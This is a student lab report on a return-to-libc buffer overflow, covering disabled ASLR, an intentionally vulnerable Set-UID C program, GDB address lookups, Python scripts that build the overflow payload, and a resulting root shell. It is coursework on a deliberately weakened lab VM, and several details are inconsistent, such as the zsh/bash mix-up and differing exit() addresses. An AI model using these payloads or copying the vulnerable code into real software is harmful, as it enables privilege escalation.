INCS-745: Intrusion Detection and Hacker Exploits

Lab 5: Buffer Overflow.

Submitted by:

***Humberto da Silva Goncalves* | *1342101* | hdasilva@nyit.edu**

***Folorunso Kolapo* | *1333012* | kkolapo@nyit.edu**

***Zhijun Jiang* | *1339481* | cjiang11@nyit.edu**

MS Cybersecurity, New York Institute of Technology, Vancouver Campus

0. DISCLAIMER

Due to technical issues encountered during the class session on 06/24/2025, this lab was completed with the assistance of *Kossi Sam Affambi* from the group *MalwhereRYou?,* as previously aligned with the Professor and the TA.

I. INTRODUCTION

The mechanics of stack-based buffer overflow attacks are explored in this lab by guiding the exploitation of a vulnerable Set-UID program compiled with disabled security protections. Key Linux defences such as ASLR, StackGuard, and non-executable stacks are disabled to create a controlled environment in which classic return-to-libc techniques can be tested. A root shell is intended to be gained by manipulating the stack to trigger the execution of the system("/bin/sh") call, with the exploit being crafted through address calculations, environment variable placement, and GDB-based debugging. The lab demonstrates how control flow can be hijacked and elevated privileges obtained through exploiting buffer overflows in C programs lacking proper input validation.

1. Lab Environment.

Linux includes built-in security mechanisms that make buffer overflow attacks difficult to execute. To simplify the lab, these protections were turned off. One such mechanism is Address Space Layout Randomization (ASLR) since accurately guessing memory addresses is essential.

```
[06/24/25]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Fig.1: Disabling ASLR protection mechanism.

StackGuard is a GCC security feature that uses canary values to block buffer overflow attacks. To perform the lab's exploit, this protection must be disabled using the -fno-stack-protector flag. Additionally, since modern GCC versions mark the stack as non-executable by default, the -z noexecstack flag allows code execution for demonstration purposes.

By default, /bin/sh points to dash, which drops privileges in Set-UID programs, preventing elevated shells. Since our target is Set-UID and uses system() with /bin/sh, this disrupts the exploit. To bypass it, /bin/sh was redirected to bash, which allows the attack to succeed.

```
[06/24/25]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

Fig.2: /bin/sh adjustment for Lab purposes.

2. Vulnerable Program.

Fig.3 shows C source code for a program that demonstrates a stack-based buffer overflow vulnerability, a common security issue in low-level programming. The program defines a small buffer (BUF_SIZE is 12 bytes) in the bof() function and then uses strcpy() to copy user-supplied

input into this buffer without bounds checking. This sets up the conditions for a buffer overflow attack, where an attacker could craft input that overwrites data beyond the buffer, specifically, the saved frame pointer or return address, potentially hijacking program control.

The bof() function includes inline assembly to copy the current frame pointer (%ebp) into the framep variable. It prints the buffer addresses and the frame pointer, which an attacker can use during the exploit. The function foo() is also included, which prints how many times it was used. This function is not invoked in the regular flow, but it might be the target of a buffer overflow. The primary function reads input from a file named "badfile" into a large buffer and passes it to bof. The program is set up to simulate a standard attack pattern used in buffer overflow exploitation, such as those found in educational environments.

The presence of memory address prints and the use of strcpy() (which is unsafe) indicate that this code is intentionally vulnerable, to allow experimentation with exploiting the overflow.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);

    return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}
```

Fig.3: Vulnerable Program (retlib.c)

Fig.4 shows a vulnerable C program (retlib.c) setup for a buffer overflow experiment. The program is compiled with flags that disable modern security protections (-fno-stack-protector, -z noexecstack) and target a 32-bit architecture (-m32), with BUF_SIZE set to 57 (which was the value proposed on Canvas). After compilation, the binary retlib is assigned root ownership and given Set-UID (SUID) permissions (chmod 4755), allowing it to execute with root privileges

regardless of the user. The ls -la output confirms the binary is now SUID-root, making it suitable for testing privilege escalation through buffer overflow attacks in a controlled environment.

```
[06/24/25]seed@VM:~/.../Labsetup$ gcc -m32 -DBUF_SIZE=57 -fno-stack-protector -z noexecstack -o retlib retlib.c
[06/24/25]seed@VM:~/.../Labsetup$ sudo chown root retlib
[06/24/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 retlib
[06/24/25]seed@VM:~/.../Labsetup$ ls -la retlib
-rwsr-xr-x 1 root seed 15788 Jun 24 00:55 retlib
[06/24/25]seed@VM:~/.../Labsetup$
```

Fig.4: Root-owned Set-UID program.

II. TASKS

1. TASK 1

Fig.5 shows a detailed debugging session using gdb-peda on the retlib binary, part of a buffer overflow lab. The user sets a breakpoint at the main function's address (0x565562ef) and starts the program. Upon hitting the breakpoint, the debugger displays the CPU register states, stack contents, and disassembled code. The EIP register (which holds the following instruction address) currently points to 0x565562ef, the start of the main function. The contents of the ESP and EBP registers are also shown, indicating the current call stack state. Notably, EDX points to the string "/bin/bash", which hints that the payload includes a shell command.

During the session, GDB was used to reveal the memory addresses of the system() (0xf7e12420) and exit() (0xf7e048f0) functions, which can be leveraged to spawn a shell and optionally exit cleanly. The stack showed pointers to /home/seed/Desktop/Labsetup/retlib and the SHELL=/bin/bash environment variable, confirming that the process environment was loaded into memory. These findings suggest an attempt to overwrite the return address and redirect execution to system("/bin/bash"), indicating a controlled effort to hijack program flow and obtain a root shell.

```
[06/24/25]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/retlib
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb6808 --> 0xffffd20c --> 0xffffd3c8 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x55d9fdaf
EDX: 0xffffd194 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffd16c --> 0xf7debee5 (<__libc_start_main+245>:        add    esp,0x10)
EIP: 0x565562ef (<main>:        endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562ea <foo+58>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562ed <foo+61>: leave
   0x565562ee <foo+62>: ret
=> 0x565562ef <main>:   endbr32
   0x565562f3 <main+4>: lea    ecx,[esp+0x4]
   0x565562f7 <main+8>: and    esp,0xfffffff0
   0x565562fa <main+11>:        push   DWORD PTR [ecx-0x4]
   0x565562fd <main+14>:        push   ebp
[-------------------------------------stack-------------------------------------]
0000| 0xffffd16c --> 0xf7debee5 (<__libc_start_main+245>:       add    esp,0x10)
0004| 0xffffd170 --> 0x1
0008| 0xffffd174 --> 0xffffd204 --> 0xffffd3a5 ("/home/seed/Desktop/Labsetup/retlib")
0012| 0xffffd178 --> 0xffffd20c --> 0xffffd3c8 ("SHELL=/bin/bash")
0016| 0xffffd17c --> 0xffffd194 --> 0x0
0020| 0xffffd180 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd184 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd188 --> 0xffffd1e8 --> 0xffffd204 --> 0xffffd3a5 ("/home/seed/Desktop/Labsetup/retlib")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Fig.5: Task 1 proof.

2. TASK 2

The system() function is designed to receive a string argument that specifies the command to be executed. In this case, the goal is for "/bin/sh" to spawn a shell. Because the exact memory address of this string must be known for it to be passed as an argument, environment variables are used as a convenient method for placing the target string in a predictable memory location (Fig.6). These environment variables are copied into each process's memory space upon execution, and their addresses can be identified. This technique illustrates how attackers can exploit the expected behaviour of the operating system to position payloads in memory.

```
[06/24/25]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[06/24/25]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
```

Fig.6: MYSHELL environment variable.

The address of this environment variable will then be passed as an argument to the system() function call. The memory location of this variable can be determined by the program shown in Fig.7.

```c
#include <stdio.h>
#include <stdlib.h>

void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("MYSHELL address: 0x%x\n", (unsigned int)shell);
}
```

Fig.7: Program for determining the variable location.

Fig.8 shows the compilation and execution of a C program (prtenv.c) that prints the memory address of the MYSHELL environment variable, which is the result of Task 2. The program is compiled using the gcc compiler with the -m32 flag to target a 32-bit architecture (which Apple Silicon Chips are not very good for… :/), and the output binary. When the program is executed, it prints "MYSHELL address: 0xffffd403", revealing the memory address where the environment variable is stored. This address helps craft exploits where knowing the exact location of a payload in memory is important.

```
[06/24/25]seed@VM:~/.../Labsetup$ gcc -m32 -o prtenv prtenv.c
[06/24/25]seed@VM:~/.../Labsetup$ ./prtenv
MYSHELL address: 0xffffd403
```

Fig.8: Task 2 result.

Table 1 shows the addresses and corresponding memory locations. The environment variable (MYSHELL) is near the high memory, while the system and exit functions are in the low memory. These addresses are then used to solve the issue of Task 3.

Address	Memory Value
system function	0xf7e12420
exit function	0xf7d93f80
MYSHELL	0xffffd403

Table I: Memory addresses.

3. TASK 3

The string can be reliably referenced within the program after determining all the necessary addresses for building the exploit.py file. This address will be passed as an argument to the system() function to spawn a root shell. Next, the three values are placed in their respective positions as shown in the image. However, the offset values X, Y, and Z must be identified for the exploit.

```
1
2 #!/usr/bin/env python3
3 import sys
4
5 content = bytearray(0xaa for i in range(300))
6
7 X = 73
8 sh_addr = 0xffffd403       # The address of "/bin/sh" - GET FROM: ./prtenv
9 content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
10
11 Y = 77
12 system_addr = 0xf7e12420   # The address of system() - GET FROM: gdb -> p system
13 content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
14
15 Z = 81
16 exit_addr = 0xf7e04f80     # The address of exit() - GET FROM: gdb -> p exit
17 content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
18
19 # Save content to a file
20 with open("badfile", "wb") as f:
21     f.write(content)
```

Fig.9: Python script (inverted order of addresses, since bin/bash is the last).

Fig.10 shows the output of running retlib with an empty badfile, resulting in no buffer overflow. The program prints key memory addresses—such as the input buffer, local buffer, and frame pointer—and reports an input size of 0. It runs normally, returning "(^^) Returned Properly (^^)", serving as a baseline to confirm the default memory layout before crafting an exploit.

```
[06/24/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 0
Address of buffer[] inside bof():  0xffffcd43
Frame Pointer value inside bof():  0xffffcd88
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

Fig.10: Empty badfile.

The value of X ((0xffffcd88 - 0xffffcd43) + 4 = 69 + 4 = 73) was derived based on output provided by the retlib program, which displays the frame pointer pointing to the location of the saved EBP. It is known that the return address resides 4 bytes above this saved EBP. Therefore, the offset can be computed by measuring the distance between the buffer's starting address and the

saved EBP, then adding 4 bytes to account for the gap between the EBP and the return address. Then the values of Y (X + 4 = 77) and Z (Y + 4 = 81) were also figured.

To validate the accuracy of this calculation, a basic test was conducted by generating a badfile filled with a sequence of As and Bs, specifically placing the Bs between positions 73 and 77. When the program was executed under GDB and the EIP register displayed the value 0x42424242 (representing the B characters), it was confirmed that the return address had been successfully overwritten and the offset was correctly identified.

Figure 11 demonstrates the process of testing buffer overflow offset accuracy by creating a badfile filled with 300 bytes of the character 'A', followed by the string 'BBBB' inserted at positions 73 to 77. After displaying the file contents using cat, the vulnerable program retlib is executed. The program prints out key memory addresses, including the location of input[] in main(), the buffer[] and frame pointer in bof(), and then crashes with a segmentation fault. The inserted 'BBBB' string corresponds to 0x42424242 in hexadecimal, confirming that the return address was overwritten and the offset calculation was correct.

```
[06/24/25]seed@VM:~/.../Labsetup$ python3 -c "
> content = bytearray(b'A' * 300)
> content[73:77] = b'BBBB'
> open('badfile', 'wb').write(content)
> "
[06/24/25]seed@VM:~/.../Labsetup$ cat badfile
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[06/24/25]seed@VM:~/.../Labsetup$
[06/24/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd43
Frame Pointer value inside bof():  0xffffcd88
Segmentation fault
```

Fig.11: Testing Buffer Overflow Offset.

```
[06/24/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd43
Frame Pointer value inside bof():  0xffffcd88
Segmentation fault
[06/24/25]seed@VM:~/.../Labsetup$ info registers
info: No menu item 'registers' in node '(dir)Top'
[06/24/25]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/retlib
Address of input[] inside main():  0xffffcd50
Input size: 300
Address of buffer[] inside bof():  0xffffccf3
Frame Pointer value inside bof():  0xffffcd38

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce80 --> 0xf7ff13ac ("<program name unknown>")
EDX: 0xffffce23 --> 0xf7ff13ac ("<program name unknown>")
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcd40 ('A' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffcd40 ('A' <repeats 200 times>...)
0004| 0xffffcd44 ('A' <repeats 200 times>...)
0008| 0xffffcd48 ('A' <repeats 200 times>...)
0012| 0xffffcd4c ('A' <repeats 200 times>...)
0016| 0xffffcd50 ('A' <repeats 200 times>...)
0020| 0xffffcd54 ('A' <repeats 200 times>...)
0024| 0xffffcd58 ('A' <repeats 199 times>, "\254"...)
0028| 0xffffcd5c ('A' <repeats 195 times>, "\254\023\377", <incomplete sequence \367\254>...)
[----------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```

Fig.12: EIP = 0x42424242 / "BBBB" which X = 73.

Persistent segmentation faults occurred despite using correct addresses for system(), exit(), and /bin/sh. Fig.9 shows the issue: the stack layout was incorrect, with /bin/sh placed at position 73 instead of as an argument. This misplacement caused the program to jump to the wrong location, preventing successful execution.

As shown in Fig.13, the program was modified to reflect the correct stack layout by adjusting the order of the addresses. This reordering was essential, as it properly simulated a legitimate function call in which system("/bin/sh") would be executed with the correct return address and argument placement. Fig.14 shows its result, which is a successful attempt with no segmentation fault.

```
1
2 #!/usr/bin/env python3
3 import sys
4
5 content = bytearray(0xaa for i in range(300))
6
7 X = 73
8 system_addr = 0xf7e12420   # The address of system() - GET FROM: gdb -> p system
9 content[X:X+4] = (system_addr).to_bytes(4,byteorder='little')
10
11 Y = 77
12 exit_addr = 0xf7e04f80     # The address of exit() - GET FROM: gdb -> p exit
13 content[Y:Y+4] = (exit_addr).to_bytes(4,byteorder='little')
14
15 Z = 81
16 sh_addr = 0xffffd403       # The address of "/bin/sh" - GET FROM: ./prtenv
17 content[Z:Z+4] = (sh_addr).to_bytes(4,byteorder='little')
18
19 # Save content to a file
20 with open("badfile", "wb") as f:
21     f.write(content)
```

Fig.13: Fixed script with correct locations.

```
[06/24/25]seed@VM:~/.../Labsetup$ python3 exploit.py
[06/24/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd43
Frame Pointer value inside bof():  0xffffcd88
# exit
[06/24/25]seed@VM:~/.../Labsetup$
```

Fig.14: No segmentation fault.

3.1 ATTACK VARIATION 1

To test attack variation 1, a modified exploit, displayed in Fig.15, was created to observe the outcome when the exit() function is omitted. First, the exit() portion of the code was removed, and the file was saved.

```
1
2 #!/usr/bin/env python3
3 import sys
4
5 content = bytearray(0xaa for i in range(300))
6
7 X = 73
8 system_addr = 0xf7e12420   # The address of system() - GET FROM: gdb -> p system
9 content[X:X+4] = (system_addr).to_bytes(4,byteorder='little')
10
11 Y = 77
12
13
14 Z = 81
15 sh_addr = 0xffffd403       # The address of "/bin/sh" - GET FROM: ./prtenv
16 content[Z:Z+4] = (sh_addr).to_bytes(4,byteorder='little')
17
18 # Save content to a file
19 with open("badfile", "wb") as f:
20     f.write(content)
```

Fig.15: Modified exploit payload.

While beneficial, the exit() function is not essential for the successful execution of a return-to-libc attack. The core attack mechanism remained fully functional even when the exit() function was removed, as shown in Fig.16.

In the modified stack layout, the address of the system() function was placed at position 73 to overwrite the return address, position 77 was left as 0xaaaaaaaa (with no exit()), and the address of /bin/sh was placed at 81 as the argument to system(). When executed, a root shell was created, as indicated by the prompts and confirmed through commands such as whoami (Fig.16). This test showed that the exit() function enhances stability and stealth rather than being a critical piece. Its goals are: ensure program termination, prevent segmentation faults (which can be tricky) when the shell exits, and minimize traces. The execution of this variation showed that the core attack relies on the correct placement of the system() function address and the positioning of the /bin/sh argument, making it a privilege escalation method with minimal manipulation of the stack.

```
[06/24/25]seed@VM:~/.../Labsetup$ python3 variation1.py
[06/24/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd43
Frame Pointer value inside bof():  0xffffcd88
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(s
ambashare),136(docker)
# pwd
/home/seed/Desktop/Labsetup
# exit
```

Fig.16: Successful execution without exit().

3.2 ATTACK VARIATION 2

To perform this variation, a new copy of the retlib file was created under a different name, as shown in Fig.17.

```
[06/24/25]seed@VM:~/.../Labsetup$ cp retlib newretlib
[06/24/25]seed@VM:~/.../Labsetup$ ls -la *retlib
-rwxr-xr-x 1 seed seed 15788 Jun 24 21:07 newretlib
-rwsr-xr-x 1 root seed 15788 Jun 24 20:33 retlib

[06/24/25]seed@VM:~/.../Labsetup$ cp prtenv prtenvnew
[06/24/25]seed@VM:~/.../Labsetup$ ./prtenvnew
MYSHELL address: 0xffffd3fd
```

Fig.17: newretlib file.

As also seen in Fig.17, the filename of ./prtenv was adjusted to match the length of MYSHELL. Nevertheless, instead of the expected # shell prompt, an error message, shown in Fig.18, "zsh:1: command not found: h", was displayed, indicating that the system() function had been invoked with incorrect argument data, rather than the intended string. A shift in memory addresses was observed between the two program names, with the frame pointer changing from 0xffffcd88 to 0xffffcd78. This confirmed that increasing the program name length by three characters caused a displacement of the entire stack.

As a result of this shift, the address of the MYSHELL environment variable was rendered invalid, leading system() to read unintended data from memory instead of the correct string. This failure occurred because environment variables are allocated at the upper region of a process's memory space, and the program name length influences their positions.

It should also be noted that the values observed in this script version differed from those in earlier tests. This variation highlighted a limitation of return-to-libc attacks: their sensitivity to changes in memory layout. Even minor modifications, such as renaming the executable, can render the exploit ineffective by disrupting precise address assumptions.

```
[06/24/25]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd90
Input size: 300
Address of buffer[] inside bof():  0xffffcd33
Frame Pointer value inside bof():  0xffffcd78
zsh:1: command not found: h
```

Fig.18: zsh:1: command not found.

III. CONCLUSION

The lab demonstrated a successful privilege escalation via return-to-libc attack, emphasizing the critical role of accurate stack layout and address positioning. Through iterative testing and debugging, it was shown that the exit() function is optional for exploit success, serving more for program stability than necessity. However, minor changes such as modifying the program name significantly impacted the memory layout. They invalidated hardcoded addresses, revealing a key limitation of return-to-libc attacks: their fragility against environment changes. Overall, this experiment provided a deeper understanding of memory-based exploits and the importance of system-level protections in preventing them.